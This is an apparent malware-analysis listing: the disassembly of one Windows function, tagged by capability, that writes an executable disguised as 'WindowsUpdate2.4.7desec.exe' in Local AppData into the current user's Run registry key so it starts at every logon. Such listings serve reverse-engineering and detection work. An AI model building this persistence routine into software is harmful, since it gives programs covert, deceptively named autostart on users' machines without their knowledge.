Function at 0x140018f9b
Capabilities:
Get common file path
Persist via run registry key
Set registry value

Disassembly:
jmp 0x140034760
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x508
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0xd6
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x528]
mov rax, qword [0x140062040]
xor rax, rbp
mov qword [rbp + 0x4c0], rax
lea rcx, [0x14006f13b]
call fcn.1400194e1
lea rax, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov qword [rbp + 0x28], rax
lea rax, [rbp + 8]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
mov rdx, qword [rbp + 0x28]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jne 0x1400349ab
lea rax, [rbp + 0x70]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1c
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jl 0x140034971
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x478]
call fcn.1400186e5
mov qword [rbp + 0x4a8], rax
mov rax, qword [rbp + 0x4a8]
mov qword [rbp + 0x4b0], rax
lea r8, str.WindowsUpdate2.4.7desec.exe
mov rdx, qword [rbp + 0x4b0]
lea rcx, [rbp + 0x298]
call fcn.140018c58
nop
lea rcx, [rbp + 0x478]
call fcn.1400191c6
lea rcx, [rbp + 0x298]
call fcn.140018393
lea rax, [rax + rax + 2]
mov dword [rbp + 0x4a4], eax
lea rcx, [rbp + 0x298]
call fcn.1400186fe
mov qword [rbp + 0x4a8], rax
mov rcx, qword [rbp + 0x4f0]
call fcn.1400186fe
mov qword [rbp + 0x4b0], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x4b8], rax
mov eax, dword [rbp + 0x4a4]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0x4a8]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
mov rdx, qword [rbp + 0x4b0]
mov rcx, qword [rbp + 0x4b8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [rbp + 0x2d4], eax
cmp dword [rbp + 0x2d4], 0
je 0x140034934
lea rdx, str.Error_adding_to_the_registry:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14001825d
mov qword [rbp + 0x4a8], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x4b0], eax
mov edx, dword [rbp + 0x4b0]
mov rcx, qword [rbp + 0x4a8]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov qword [rbp + 0x4b8], rax
lea rdx, [0x1400180d2]
mov rcx, qword [rbp + 0x4b8]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140034963
lea rdx, str.Successfully_added_to_the_registry.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001825d
mov qword [rbp + 0x4a8], rax
lea rdx, [0x1400180d2]
mov rcx, qword [rbp + 0x4a8]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x298]
call fcn.1400191c6
jmp 0x14003499f
lea rdx, str.Error_obtaining_the_Local_AppData_path.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14001825d
mov qword [rbp + 0x4a8], rax
lea rdx, [0x1400180d2]
mov rcx, qword [rbp + 0x4a8]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x1400349ff
lea rdx, str.Unable_to_open_the_registry_key:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14001825d
mov qword [rbp + 0x4a8], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x4b0], eax
mov edx, dword [rbp + 0x4b0]
mov rcx, qword [rbp + 0x4a8]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov qword [rbp + 0x4b8], rax
lea rdx, [0x1400180d2]
mov rcx, qword [rbp + 0x4b8]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp - 0x30]
lea rdx, [0x140052ab0]
call fcn.140019126
mov rcx, qword [rbp + 0x4c0]
xor rcx, rbp
call fcn.140018a05
lea rsp, [rbp + 0x4d8]
pop rdi
pop rbp
ret